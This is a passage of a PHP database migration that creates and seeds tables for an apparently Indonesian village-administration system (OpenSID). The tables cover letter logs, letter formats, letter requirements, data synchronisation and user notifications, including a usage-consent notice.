'-', + 'enabled' => 1, + ], + [ + 'id' => 2314, + 'kode' => '964', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2315, + 'kode' => '965', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2316, + 'kode' => '966', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2317, + 'kode' => '970', + 'nama' => 'PENDAPATAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2318, + 'kode' => '971', + 'nama' => 'Perimbangan Keuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2319, + 'kode' => '972', + 'nama' => 'Subsidi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2320, + 'kode' => '973', + 'nama' => 'Pajak,Ipeda, IHH,IHPH', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2321, + 'kode' => '974', + 'nama' => 'Retribusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2322, + 'kode' => '975', + 'nama' => 'Bea', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2323, + 'kode' => '976', + 'nama' => 'Cukai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2324, + 'kode' => '977', + 'nama' => 'Pungutan / PNBP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2325, + 'kode' => '978', + 'nama' => 'Bantuan Presiden, Menteri Dan Bantuan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2326, + 'kode' => '979', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2327, + 'kode' => '980', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2328, + 'kode' => '981', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2329, + 'kode' => '990', + 'nama' => 'BENDAHARAWAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2330, + 'kode' => '991', + 'nama' => 'SKPP / SPP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2331, + 'kode' => '992', + 'nama' => 'Teguran SPJ', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2332, + 'kode' => '993', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2333, + 'kode' => '994', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2334, + 'kode' => '995', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + ]); + + DB::statement(" + CREATE TABLE `log_surat` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_format_surat` int(3) NOT NULL, + `id_pend` int(11) DEFAULT NULL, + `id_pamong` int(4) NOT NULL, + `id_user` int(4) NOT NULL, + `tanggal` timestamp NOT NULL DEFAULT current_timestamp(), + `bulan` varchar(2) DEFAULT NULL, + `tahun` varchar(4) DEFAULT NULL, + `no_surat` varchar(20) DEFAULT NULL, + `nama_surat` varchar(100) DEFAULT NULL, + `lampiran` varchar(100) DEFAULT NULL, + `nik_non_warga` decimal(16,0) DEFAULT NULL, + `nama_non_warga` varchar(100) DEFAULT NULL, + `keterangan` varchar(200) DEFAULT NULL, + `lokasi_arsip` varchar(150) DEFAULT '', + PRIMARY KEY (`id`) + ); + "); + + DB::statement(' + CREATE TABLE `permohonan_surat` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_pemohon` int(11) NOT NULL, + `id_surat` int(11) NOT NULL, + `isian_form` text NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT 0, + `keterangan` text DEFAULT NULL, + `no_hp_aktif` varchar(50) NOT NULL, + `syarat` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `no_antrian` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `ref_syarat_surat` ( + `ref_syarat_id` int(1) unsigned NOT NULL AUTO_INCREMENT, + `ref_syarat_nama` varchar(255) NOT NULL, + PRIMARY KEY (`ref_syarat_id`) + ); + '); + + DB::table('ref_syarat_surat')->insert([ + [ + 'ref_syarat_id' => 1, + 'ref_syarat_nama' => 'Surat Pengantar RT/RW', + ], + ['ref_syarat_id' => 2, 'ref_syarat_nama' => 'Fotokopi KK'], + ['ref_syarat_id' => 3, 'ref_syarat_nama' => 'Fotokopi KTP'], + [ + 'ref_syarat_id' => 4, + 'ref_syarat_nama' => 'Fotokopi Surat Nikah/Akta Nikah/Kutipan Akta Perkawinan', + ], + [ + 'ref_syarat_id' => 5, + 'ref_syarat_nama' => 'Fotokopi Akta Kelahiran/Surat Kelahiran bagi keluarga yang mempunyai anak', + ], + [ + 'ref_syarat_id' => 6, + 'ref_syarat_nama' => 'Surat Pindah Datang dari tempat asal', + ], + [ + 'ref_syarat_id' => 7, + 'ref_syarat_nama' => 'Surat Keterangan Kematian dari Rumah Sakit, Rumah Bersalin Puskesmas, atau visum Dokter', + ], + [ + 'ref_syarat_id' => 8, + 'ref_syarat_nama' => 'Surat Keterangan Cerai', + ], + [ + 'ref_syarat_id' => 9, + 'ref_syarat_nama' => 'Fotokopi Ijasah Terakhir', + ], + [ + 'ref_syarat_id' => 10, + 'ref_syarat_nama' => 'SK. PNS/KARIP/SK. TNI – POLRI', + ], + [ + 'ref_syarat_id' => 11, + 'ref_syarat_nama' => 'Surat Keterangan Kematian dari Kepala Desa/Kelurahan', + ], + [ + 'ref_syarat_id' => 12, + 'ref_syarat_nama' => 'Surat imigrasi / STMD (Surat Tanda Melapor Diri)', + ], + ]); + + DB::statement(' + CREATE TABLE `statistics` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `url_id` int(11) NOT NULL, + `created` datetime NOT NULL, + PRIMARY KEY (`id`), + KEY `url_id` (`url_id`) + ); + '); + + DB::statement(" + CREATE TABLE `surat_keluar` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nomor_urut` smallint(5) DEFAULT NULL, + `nomor_surat` varchar(35) DEFAULT NULL, + `kode_surat` varchar(10) DEFAULT NULL, + `tanggal_surat` date NOT NULL, + `tanggal_catat` timestamp NOT NULL DEFAULT current_timestamp(), + `tujuan` varchar(100) DEFAULT NULL, + `isi_singkat` varchar(200) DEFAULT NULL, + `berkas_scan` varchar(100) DEFAULT NULL, + `ekspedisi` tinyint(1) DEFAULT 0, + `tanggal_pengiriman` date DEFAULT NULL, + `tanda_terima` varchar(200) DEFAULT NULL, + `keterangan` varchar(500) DEFAULT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `lokasi_arsip` varchar(150) DEFAULT '', + PRIMARY KEY (`id`) + ); + "); + + DB::statement(" + CREATE TABLE `surat_masuk` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nomor_urut` smallint(5) DEFAULT NULL, + `tanggal_penerimaan` date NOT NULL, + `nomor_surat` varchar(35) DEFAULT NULL, + `kode_surat` varchar(10) DEFAULT NULL, + `tanggal_surat` date NOT NULL, + `pengirim` varchar(100) DEFAULT NULL, + `isi_singkat` varchar(200) DEFAULT NULL, + `isi_disposisi` varchar(200) DEFAULT NULL, + `berkas_scan` varchar(100) DEFAULT NULL, + `lokasi_arsip` varchar(150) DEFAULT '', + PRIMARY KEY (`id`) + ); + "); + + DB::statement(" + CREATE TABLE `tweb_surat_format` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + `url_surat` varchar(100) NOT NULL, + `kode_surat` varchar(10) DEFAULT NULL, + `lampiran` varchar(100) DEFAULT NULL, + `kunci` tinyint(1) NOT NULL DEFAULT 0, + `favorit` tinyint(1) NOT NULL DEFAULT 0, + `jenis` tinyint(2) NOT NULL DEFAULT 2, + `mandiri` tinyint(1) DEFAULT 0, + `masa_berlaku` int(3) DEFAULT 1, + `satuan_masa_berlaku` varchar(15) DEFAULT 'M', + `qr_code` tinyint(1) NOT NULL DEFAULT 0, + PRIMARY KEY (`id`), + UNIQUE KEY `url_surat` (`url_surat`) + ); + "); + + DB::table('tweb_surat_format')->insert([ + [ + 'id' => 1, + 'nama' => 'Keterangan Pengantar', + 'url_surat' => 'surat_ket_pengantar', + 'kode_surat' => 'S-01', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 2, + 'nama' => 'Keterangan Penduduk', + 'url_surat' => 'surat_ket_penduduk', + 'kode_surat' => 'S-02', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 3, + 'nama' => 'Biodata Penduduk', + 'url_surat' => 'surat_bio_penduduk', + 'kode_surat' => 'S-03', + 'lampiran' => 'f-1.01.php', + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 5, + 'nama' => 'Keterangan Pindah Penduduk', + 'url_surat' => 'surat_ket_pindah_penduduk', + 'kode_surat' => 'S-04', + 'lampiran' => 'f-1.03.php,f-1.08.php,f-1.25.php,f-1.27.php', + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 6, + 'nama' => 'Keterangan Jual Beli', + 'url_surat' => 'surat_ket_jual_beli', + 'kode_surat' => 'S-05', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 8, + 'nama' => 'Pengantar Surat Keterangan Catatan Kepolisian', + 'url_surat' => 'surat_ket_catatan_kriminal', + 'kode_surat' => 'S-07', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 9, + 'nama' => 'Keterangan KTP dalam Proses', + 'url_surat' => 'surat_ket_ktp_dalam_proses', + 'kode_surat' => 'S-08', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 10, + 'nama' => 'Keterangan Beda Identitas', + 'url_surat' => 'surat_ket_beda_nama', + 'kode_surat' => 'S-09', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 11, + 'nama' => 'Keterangan Bepergian / Jalan', + 'url_surat' => 'surat_jalan', + 'kode_surat' => 'S-10', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 12, + 'nama' => 'Keterangan Kurang Mampu', + 'url_surat' => 'surat_ket_kurang_mampu', + 'kode_surat' => 'S-11', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 13, + 'nama' => 'Pengantar Izin Keramaian', + 'url_surat' => 'surat_izin_keramaian', + 'kode_surat' => 'S-12', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 14, + 'nama' => 'Pengantar Laporan Kehilangan', + 'url_surat' => 'surat_ket_kehilangan', + 'kode_surat' => 'S-13', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 15, + 'nama' => 'Keterangan Usaha', + 'url_surat' => 'surat_ket_usaha', + 'kode_surat' => 'S-14', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 1, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 16, + 'nama' => 'Keterangan JAMKESOS', + 'url_surat' => 'surat_ket_jamkesos', + 'kode_surat' => 'S-15', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 17, + 'nama' => 'Keterangan Domisili Usaha', + 'url_surat' => 'surat_ket_domisili_usaha', + 'kode_surat' => 'S-16', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 18, + 'nama' => 'Keterangan Kelahiran', + 'url_surat' => 'surat_ket_kelahiran', + 'kode_surat' => 'S-17', + 'lampiran' => 'f-2.01.php', + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 20, + 'nama' => 'Permohonan Akta Lahir', + 'url_surat' => 'surat_permohonan_akta', + 'kode_surat' => 'S-18', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 21, + 'nama' => 'Pernyataan Belum Memiliki Akta Lahir', + 'url_surat' => 'surat_pernyataan_akta', + 'kode_surat' => 'S-19', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 22, + 'nama' => 'Permohonan Duplikat Kelahiran', + 'url_surat' => 'surat_permohonan_duplikat_kelahiran', + 'kode_surat' => 'S-20', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 24, + 'nama' => 'Keterangan Kematian', + 'url_surat' => 'surat_ket_kematian', + 'kode_surat' => 'S-21', + 'lampiran' => 'f-2.29.php', + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 25, + 'nama' => 'Keterangan Lahir Mati', + 'url_surat' => 'surat_ket_lahir_mati', + 'kode_surat' => 'S-22', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 26, + 'nama' => 'Keterangan Untuk Nikah (N-1 s/d N-7)', + 'url_surat' => 'surat_ket_nikah', + 'kode_surat' => 'S-23', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 33, + 'nama' => 'Keterangan Pergi Kawin', + 'url_surat' => 'surat_ket_pergi_kawin', + 'kode_surat' => 'S-30', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 35, + 'nama' => 'Keterangan Wali Hakim', + 'url_surat' => 'surat_ket_wali_hakim', + 'kode_surat' => 'S-32', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 36, + 'nama' => 'Permohonan Duplikat Surat Nikah', + 'url_surat' => 'surat_permohonan_duplikat_surat_nikah', + 'kode_surat' => 'S-33', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 37, + 'nama' => 'Permohonan Cerai', + 'url_surat' => 'surat_permohonan_cerai', + 'kode_surat' => 'S-34', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 38, + 'nama' => 'Keterangan Pengantar Rujuk/Cerai', + 'url_surat' => 'surat_ket_rujuk_cerai', + 'kode_surat' => 'S-35', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 45, + 'nama' => 'Permohonan Kartu Keluarga', + 'url_surat' => 'surat_permohonan_kartu_keluarga', + 'kode_surat' => 'S-36', + 'lampiran' => 'f-1.15.php,f-1.01.php', + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 51, + 'nama' => 'Domisili Usaha Non-Warga', + 'url_surat' => 'surat_domisili_usaha_non_warga', + 'kode_surat' => 'S-37', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 76, + 'nama' => 'Keterangan Beda Identitas KIS', + 'url_surat' => 'surat_ket_beda_identitas_kis', + 'kode_surat' => 'S-38', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 85, + 'nama' => 'Keterangan Izin Orang Tua/Suami/Istri', + 'url_surat' => 'surat_izin_orangtua_suami_istri', + 'kode_surat' => 'S-39', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 86, + 'nama' => 'Pernyataan Penguasaan Fisik Bidang Tanah (SPORADIK)', + 'url_surat' => 'surat_sporadik', + 'kode_surat' => 'S-40', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 89, + 'nama' => 'Permohonan Perubahan Kartu Keluarga', + 'url_surat' => 'surat_permohonan_perubahan_kartu_keluarga', + 'kode_surat' => 'S-41', + 'lampiran' => 'f-1.16.php,f-1.01.php', + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 110, + 'nama' => 'Non Warga', + 'url_surat' => 'surat_non_warga', + 'kode_surat' => '', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 2, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 156, + 'nama' => 'Keterangan Domisili', + 'url_surat' => 'surat_ket_domisili', + 'kode_surat' => 'S-41', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 160, + 'nama' => 'Keterangan Penghasilan Orangtua', + 'url_surat' => 'surat_ket_penghasilan_orangtua', + 'kode_surat' => 'S-42', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 161, + 'nama' => 'Pengantar Permohonan Penerbitan Buku Pas Lintas', + 'url_surat' => 'surat_permohonan_penerbitan_buku_pas_lintas', + 'kode_surat' => 'S-43', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 162, + 'nama' => 'Keterangan Penghasilan Ayah', + 'url_surat' => 'surat_ket_penghasilan_ayah', + 'kode_surat' => 'S-44', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 163, + 'nama' => 'Keterangan Penghasilan Ibu', + 'url_surat' => 'surat_ket_penghasilan_ibu', + 'kode_surat' => 'S-45', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 167, + 'nama' => 'Perintah Perjalanan Dinas', + 'url_surat' => 'surat_perintah_perjalanan_dinas', + 'kode_surat' => 'S-46', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 168, + 'nama' => 'Kuasa', + 'url_surat' => 'surat_kuasa', + 'kode_surat' => 'S-47', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 172, + 'nama' => 'Keterangan Kepemilikan Kendaraan', + 'url_surat' => 'surat_ket_kepemilikan_kendaraan', + 'kode_surat' => 'S-48', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 173, + 'nama' => 'Keterangan Kepemilikan Tanah', + 'url_surat' => 'surat_ket_kepemilikan_tanah', + 'kode_surat' => 'S-49', + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 178, + 'nama' => 'Raw', + 'url_surat' => 'raw', + 'kode_surat' => null, + 'lampiran' => null, + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 2, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + [ + 'id' => 181, + 'nama' => 'Keterangan Untuk Nikah Warga Non Muslim', + 'url_surat' => 'surat_ket_nikah_non_muslim', + 'kode_surat' => 'S-50', + 'lampiran' => 'f-2.12.php', + 'kunci' => 0, + 'favorit' => 0, + 'jenis' => 1, + 'mandiri' => 0, + 'masa_berlaku' => 1, + 'satuan_masa_berlaku' => 'M', + 'qr_code' => 0, + ], + ]); + } + + private function tabel_sinkronisasi() + { + DB::statement(' + CREATE TABLE `laporan_sinkronisasi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `tipe` varchar(50) DEFAULT NULL, + `judul` varchar(100) NOT NULL, + `tahun` int(11) NOT NULL, + `semester` int(11) NOT NULL, + `nama_file` varchar(100) NOT NULL, + `kirim` datetime DEFAULT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `log_ekspor` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `tgl_ekspor` timestamp NOT NULL DEFAULT current_timestamp(), + `kode_ekspor` varchar(100) NOT NULL, + `semua` int(1) NOT NULL DEFAULT 1, + `dari_tgl` date DEFAULT NULL, + `total` int(11) NOT NULL DEFAULT 0, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `migrasi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `versi_database` varchar(10) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `password_resets` ( + `email` varchar(255) NOT NULL, + `token` varchar(255) NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + PRIMARY KEY (`email`) + ); + '); + + DB::statement(' + CREATE TABLE `ref_sinkronisasi` ( + `tabel` varchar(100) NOT NULL, + `server` varchar(255) DEFAULT NULL, + `jenis_update` tinyint(4) DEFAULT NULL, + `tabel_hapus` varchar(100) DEFAULT NULL, + PRIMARY KEY (`tabel`) + ); + '); + + DB::table('ref_sinkronisasi')->insert([ + [ + 'tabel' => 'tweb_keluarga', + 'server' => '6', + 'jenis_update' => 1, + 'tabel_hapus' => 'log_keluarga', + ], + [ + 'tabel' => 'tweb_penduduk', + 'server' => '6', + 'jenis_update' => 1, + 'tabel_hapus' => 'log_hapus_penduduk', + ], + ]); + } + + private function tabel_dashboard() + { + DB::statement(' + CREATE TABLE `notifikasi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `kode` varchar(100) NOT NULL, + `judul` varchar(100) NOT NULL, + `jenis` varchar(50) NOT NULL, + `isi` text NOT NULL, + `server` varchar(20) NOT NULL, + `tgl_berikutnya` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `frekuensi` smallint(6) NOT NULL, + `aksi` varchar(100) NOT NULL, + `aktif` tinyint(2) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`), + UNIQUE KEY `kode` (`kode`) + ); + '); + + DB::table('notifikasi')->insert([ + [ + 'id' => 1, + 'kode' => 'persetujuan_penggunaan', + 'judul' => '  Persetujuan Penggunaan OpenSID', + 'jenis' => 'persetujuan', + 'isi' => '

Untuk menggunakan OpenSID, anda dan desa anda perlu menyetujui ketentuan berikut:\n

    \n
  1. Pengguna telah membaca dan menyetujui Lisensi GPL V3.
  2. \n
  3. OpenSID gratis dan disediakan \"SEBAGAIMANA ADANYA\", di mana segala tanggung jawab termasuk keamanan data desa ada pada pengguna.
  4. \n
  5. Pengguna paham bahwa setiap ubahan OpenSID juga berlisensi GPL V3 yang tidak dapat dimusnahkan, dan aplikasi ubahan itu juga sumber terbuka yang bebas disebarkan oleh pihak yang menerima.
  6. \n
  7. Pengguna mengetahui, paham dan menyetujui bahwa OpenSID akan mengirim data penggunaan ke server OpenDesa secara berkala untuk tujuan menyempurnakan OpenSID, dengan pengertian bahwa data yang dikirim sama sekali tidak berisi data identitas penduduk atau data sensitif desa lainnya.
  8. \n

\n Apakah anda dan desa anda setuju dengan ketentuan di atas?', + 'server' => 'client', + 'tgl_berikutnya' => '2022-03-01 04:16:23', + 'updated_at' => '2021-12-01 04:16:23', + 'updated_by' => 1, + 'frekuensi' => 90, + 'aksi' => 'notif/update_pengumuman,siteman/logout', + 'aktif' => 1, + ], + [ + 'id' => 2, + 'kode' => 'tracking_off', + 'judul' => '  Peringatan Tracking Off', + 'jenis' => 'peringatan', + 'isi' => '

Kami mendeteksi bahwa anda telah mematikan fitur tracking. Bila dimatikan, penggunaan website desa anda tidak akan tercatat di server OpenDesa dan tidak akan menerima informasi penting yang sesekali dikirim OpenDesa.

\n
